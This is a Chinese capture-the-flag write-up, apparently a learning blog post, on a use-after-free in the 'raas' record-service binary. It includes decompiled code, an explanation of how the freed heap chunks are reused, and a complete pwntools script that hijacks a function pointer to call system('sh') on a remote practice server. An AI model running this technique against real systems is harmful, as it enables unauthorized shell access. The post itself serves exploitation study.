Pwn学习总结(14):UAF


实验平台:

x86_64, Ubuntu 18.04.6 LTS, Kernel 4.15.0-157-generic
glibc 2.27-3ubuntu1.4, libc6-i386-2.27-3ubuntu1.4

实验Binary及答案:

https://github.com/bjrjk/pwn-learning/tree/main/UAF/raas

checksec raas

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

我在调试中遇到这样一个问题,程序其中调用了system函数,但它会干扰GDB的调试,索性我就直接用IDA把这条call system直接patch掉了,生成了raas.patched文件用于调试使用。

还是先上IDA反编译:

union record_content
{
  char *str;
  int val;
};
struct record
{
  void (__cdecl *print)(record *);
  void (__cdecl *free)(record *);
  record_content v;
};
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  alarm(600u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  puts("Welcome to use my Record-as-a-Service (free plan)");
  puts("You can only save Integer or String for 600 seconds");
  puts("Pay 1,000,000,000,000,000,000,000,000 bitcoins to buy premium plan");
  puts("Here is term of service. You must agree to use this service. Please read carefully!");
  puts("================================================================================");
  puts("================================================================================");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        puts("1. New record");
        puts("2. Del record");
        puts("3. Show record");
        v3 = ask("Act");
        if ( v3 != 2 )
          break;
        do_del();
      }
      if ( v3 != 3 )
        break;
      do_dump();
    }
    if ( v3 != 1 )
      break;
    do_new();
  }
  puts("Bye~ Thanks for using our service!");
  return 0;
}
void __cdecl do_new()
{
  int v0; // eax
  int v1; // [esp+0h] [ebp-18h]
  record *rec; // [esp+4h] [ebp-14h]
  unsigned int size; // [esp+Ch] [ebp-Ch]

  v1 = ask("Index");
  if ( v1 < 0 || v1 > 16 )
  {
    puts("Out of index!");
    return;
  }
  if ( records[v1] )
  {
    printf("Index #%d is used!\n", v1);
    return;
  }
  records[v1] = (record *)malloc(12u);
  rec = records[v1];
  rec->print = rec_int_print;
  rec->free = rec_int_free;
  puts("Blob type:");
  puts("1. Integer");
  puts("2. Text");
  v0 = ask("Type");
  if ( v0 == 1 )
  {
    rec->v.val = ask("Value");
  }
  else
  {
    if ( v0 != 2 )
    {
      puts("Invalid type!");
      return;
    }
    size = ask("Length");
    if ( size > 0x400 )
    {
      puts("Length too long, please buy record service premium to store longer record!");
      return;
    }
    rec->v.str = (char *)malloc(size);
    printf("Value > ");
    fgets(rec->v.str, size, stdin);
    rec->print = rec_str_print;
    rec->free = rec_str_free;
  }
  puts("Okey, we got your data. Here is it:");
  rec->print(rec);
}
void __cdecl do_del()
{
  int v0; // eax

  v0 = ask("Index");
  records[v0]->free(records[v0]);
}
void __cdecl do_dump()
{
  int v0; // eax

  v0 = ask("Index");
  records[v0]->print(records[v0]);
}
void __cdecl rec_int_print(record *a1)
{
  printf("Record(Type=Integer, Value=%d)\n", a1->v.val);
}
void __cdecl rec_str_print(record *a1)
{
  printf("Record(Type=String, Value=%s)\n", a1->v.str);
}
void __cdecl rec_int_free(record *ptr)
{
  free(ptr);
  puts("Record freed!");
}
void __cdecl rec_str_free(record *ptr)
{
  free(ptr->v.str);
  free(ptr);
  puts("Record freed!");
}
int __cdecl ask(const char *a1)
{
  char s[32]; // [esp+1Ch] [ebp-2Ch] BYREF
  unsigned int v3; // [esp+3Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("%s > ", a1);
  fgets(s, 32, stdin);
  return atoi(s);
}

UAF,指Use After Free,是一个指针对应的内存已经被释放,但这个指针还没有被清零,指针悬空,可能导致一系列错误。

我也是第一次接触UAF,所以也没看出来哪里有洞。根据参考资料,我自己尝试着做了一下。参考资料中说,可以先分配两个int属性的结构体,再释放,再分配两个char[]的结构体。

对于这道题目来讲,每个record结构体占12个字节。那我们每次用malloc申请内存时,就算申请存放字符串的空间,也要申请12个字节。
经过测试发现,glibc的分配机制非常像栈。在本程序中,我按照一下顺序申请、释放内存空间,得出的内存地址如下:

申请0xc字节内存到record0:返回以0x160结尾的堆地址
申请0xc字节内存到record1:返回以0x170结尾的堆地址
释放以0x170结尾的堆地址record1
释放以0x160结尾的堆地址record0
申请0xc字节内存:返回以0x160结尾的堆地址到record0
申请0xc字节内存:返回以0x170结尾的堆地址到record0->v.str

我们可以任意控制record0->v.str,即控制以0x170结尾的堆地址。我们还可以通过record1指针将堆内容解释为函数指针。而程序中还引入了system函数。所以我们要做的事情就是把参数和system的地址布局到堆上,并进行调用即可。

我们此处的调用必须使用do_del()函数。因为传进的参数v1对结构体的偏移为0,此处恰好是print函数指针的地址。这里我们要用来做system的第一个参数字符串。

所以我们的布局应该是,先放”/bin/sh”字符串,再放system的plt地址。但是”/bin/sh”已经超过四个字节了,所以我们只写”sh”,后面再补”\x00\x00″。

下面是WPanswer.py

#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack
import os, base64, math, time
context(arch = "i386",os = "linux", log_level = "debug")

def record_new(p, index, rec_type, str_length, value):
    p.recvuntil("Act > ")
    p.sendline("1")
    p.recvuntil("Index > ")
    p.sendline(index)
    p.recvuntil("Type > ")
    p.sendline(rec_type)
    if rec_type == "2":
        p.recvuntil("Length > ")
        p.sendline(str_length)
    p.recvuntil("Value > ")
    p.sendline(value)

def record_del(p, index):
    p.recvuntil("Act > ")
    p.sendline("2")
    p.recvuntil("Index > ")
    p.sendline(index)

p = remote("hackme.inndy.tw", 7719)
# p = process('./raas.patched')
elf = ELF('./raas.patched')
gdb_command =   """
                b *0x80487a3
                b *0x8048880
                b *0x804893a
                """
# two malloc in do_new, call eax in do_del
time.sleep(1)
# gdb.attach(p, gdb_command)

system_plt = elf.plt['system']

record_new(p, "0", "1", None, "0")
record_new(p, "1", "1", None, "0")
record_del(p, "1")
record_del(p, "0")
record_new(p, "2", "2", "12" , "sh\x00\x00" + p32(system_plt))
record_del(p, "1")

p.interactive()

GetShell:

参考资料:
[1] https://blog.csdn.net/niexinming/article/details/78598635

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注